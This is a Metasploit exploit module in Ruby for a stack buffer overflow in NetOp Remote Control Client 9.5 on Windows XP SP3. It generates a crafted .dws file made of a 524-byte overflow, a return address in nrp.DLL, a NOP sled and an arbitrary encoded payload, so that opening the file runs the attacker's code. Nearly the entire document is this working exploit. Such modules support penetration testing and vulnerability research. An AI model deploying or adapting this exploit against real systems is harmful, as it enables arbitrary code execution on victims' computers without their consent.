NetOp Remote Control Client 9.5 Buffer Overflow

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'NetOp Remote Control Client 9.5 Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack-based buffer overflow in NetOp Remote Control 9.5.
    When opening a .dws file containing a specially crafted string longer then 520
    characters will allow an attacker to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Ruben Alejandro "chap0"',
    ],
   'References'     =>
    [
     [ 'OSVDB', '72291' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/17223/' ]
    ],
   'DefaultOptions' =>
    {
     'ExitFunction' => 'process',
     'DisablePayloadHandler' => 'true'
    },
   'Platform'       => 'win',
   'Payload'        =>
    {
     'Space' => 2000,
     'BadChars' => "\x00\x0a\x0d",
     'DisableNops' => true,
     'StackAdjustment' => -3500
    },
   'Targets'        =>
    [
     [ 'Windows XP SP3',
      {
       'Ret' => 0x20d6c32c,  # push esp #  ret  - nrp.DLL
       'Offset' => 524
      }
     ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Apr 28 2011',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'The file name.', 'msf.dws']),
   ], self.class)

 end

 def exploit
  buffer =  rand_text(target['Offset'])
  buffer << [target.ret].pack('V')
  buffer << make_nops(30)
  buffer << payload.encoded

  file_create(buffer)
 end

end